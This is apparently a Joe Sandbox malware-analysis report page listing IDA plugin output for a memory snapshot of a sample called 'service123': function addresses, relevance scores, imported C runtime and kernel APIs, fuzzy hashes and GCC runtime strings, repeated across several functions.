Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction ID: 4e35643a28459e1b71601b0d7954333d12f7488d5edaf54e6de161817ae46287
Opcode Fuzzy Hash: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction Fuzzy Hash: 89C01236A4D2169BA2109E84A0906BBB2A4EB4B304F462C54C61173620C770E405C6C2

Function 6CFFBDE8 Relevance: 37.5, APIs: 25, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction ID: 47a704875bdac5cf5bfb7bd697648d5e551c83fa1f6c4dad6705bdb9a3029e71
Opcode Fuzzy Hash: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction Fuzzy Hash: 10C08C32DCC3198720002E0820D427AB2A48607224F4B2C14C20033A20CA13D88581C5

Function 6CFFC150 Relevance: 36.3, APIs: 24, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c6e6b4e39aa67677a7f79812f858a6fdbfef2b95f5891608933454c2c6361c1
Instruction ID: fd558292682141d7ed5f0ab25d2bd09229e53eef9d4eac8e409d198b66133348
Opcode Fuzzy Hash: 8c6e6b4e39aa67677a7f79812f858a6fdbfef2b95f5891608933454c2c6361c1
Instruction Fuzzy Hash: F6B10271A083568FD720DF58C48075BBBE1FF86308F18496DE8A49B762D375E846CB92

Function 6CFFC470 Relevance: 33.2, APIs: 22, Instructions: 152COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 3a052794b08c5fc665d3b8f5c4944447f44710e3cb8e818a1a16637f0f888e02
Instruction ID: 7f2ccbc2f29a0fd6475a23725bf8e3bf09465fd4c7676334b10f70c7fca829ae
Opcode Fuzzy Hash: 3a052794b08c5fc665d3b8f5c4944447f44710e3cb8e818a1a16637f0f888e02
Instruction Fuzzy Hash: 6041AFB2A012258FCB10CF68C4917E9BBF5FF49344F19846AD965EF792D33594428B50

Function 6CFFD370 Relevance: 31.6, APIs: 21, Instructions: 130sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFFCD00: strlen.MSVCRT ref: 6CFFCD7D

Sleep.KERNEL32 ref: 6CFFD4D7
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
Opcode ID: 6748633db60d2be4be0eded0de435d7e5d13b1a8fc78485c81c384213aa86662
Instruction ID: 6cfc8a1db0bf839c778d2efa4afe16a9f694001a0b4d24875e21e5d464dd9314
Opcode Fuzzy Hash: 6748633db60d2be4be0eded0de435d7e5d13b1a8fc78485c81c384213aa86662
Instruction Fuzzy Hash: 9E51CBA09083C2CAEB11DB78E9467467FF0A793308F18455AC7AC4B392E3FA5509C766

Function 6CFFD570 Relevance: 28.6, APIs: 19, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 90b6a19761d5e2314a63fc8e1104eacbb75a4bd23d10a0f0af4fd98dfd45236e
Instruction ID: e231808f137f3adf6a76695f9b56d4b7f6837c0b9d1e23455c02a63473e81de3
Opcode Fuzzy Hash: 90b6a19761d5e2314a63fc8e1104eacbb75a4bd23d10a0f0af4fd98dfd45236e
Instruction Fuzzy Hash: F031A470A093029FE3209F59D88076EB7F0EF85318F54892EE5A897761E334D846CB82

Function 6CFFD67C Relevance: 28.5, APIs: 19, Instructions: 32COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction ID: 771716d4f904b3eddadac510a92d03526cb982acb01d729ee85d9a7a6567d5df
Opcode Fuzzy Hash: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction Fuzzy Hash: 67B01211CDD120E370101BA414502BFB334AB03344F46FC004316338118B10F88181C5

Function 6CFFD6C0 Relevance: 27.1, APIs: 18, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: c7ac77f80072faa5c38b3fa0bdee2780d0fc08171e2387b84a3c71e9d230b57a
Instruction ID: b122b80aec5b66f96a4163e0493d717d9ceb22a3aa2c77dbb488e84b55a08a9b
Opcode Fuzzy Hash: c7ac77f80072faa5c38b3fa0bdee2780d0fc08171e2387b84a3c71e9d230b57a
Instruction Fuzzy Hash: 484127B1A093458FE310DF19D58076ABBE0EB89708F148D2EE5A8C7761D375D845CB92

Function 6CFFD855 Relevance: 25.5, APIs: 17, Instructions: 45COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: e5ed4e97505b10e26934c2cd12230373ebd8f5c556fc97fe281e1e29c2c0e4b7
Instruction ID: d56b0171b101c2f9d98727775c1e9fe556ec74f2b139f0e9ccc04f5171cdadf1
Opcode Fuzzy Hash: e5ed4e97505b10e26934c2cd12230373ebd8f5c556fc97fe281e1e29c2c0e4b7
Instruction Fuzzy Hash: CAE06D71D082575BF710EE68D08432A7BE1AB8330CF545898C6652B552D375A84BC786

Function 6D00C0E0 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6D00C151
fwrite.MSVCRT ref: 6D00C1F8
fputs.MSVCRT ref: 6D00C215
fwrite.MSVCRT ref: 6D00C23E
fputs.MSVCRT ref: 6D00C25D
fwrite.MSVCRT ref: 6D00C28C
fwrite.MSVCRT ref: 6D00C2BE
abort.MSVCRT ref: 6D00C2C3
abort.MSVCRT ref: 6D0C6157
free.MSVCRT ref: 6D0C615F

Part of subcall function 6CFFA340: strlen.MSVCRT ref: 6CFFA3C5
Part of subcall function 6CFFA340: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6D00C1CC), ref: 6CFFA3E0
Part of subcall function 6CFFA340: free.MSVCRT ref: 6CFFA3EA

Strings

terminate called after throwing an instance of ', xrefs: 6D00C1F1
-, xrefs: 6D00C271
terminate called without an active exception, xrefs: 6D00C285
not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 6D00C0F9

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: fwrite$abortfputsfreememcpy$strlen
String ID: -$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): $terminate called after throwing an instance of '$terminate called without an active exception
API String ID: 4144276882-4175505668
Opcode ID: 891ee4927abcbec38aa6a7de6b7f0815dd7f722249a9120507f1cc98de362a2c
Instruction ID: 62fbdd0714d7c69c1fae561c8fec863f9838b8b10b2379198acb9f572eb0951a
Opcode Fuzzy Hash: 891ee4927abcbec38aa6a7de6b7f0815dd7f722249a9120507f1cc98de362a2c
Instruction Fuzzy Hash: 0A5109B04083159FE700AF64C48879EBBF4EF86314F05C91EE99987241DB799585DF93

Function 6CFFD8A8 Relevance: 24.1, APIs: 16, Instructions: 52COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

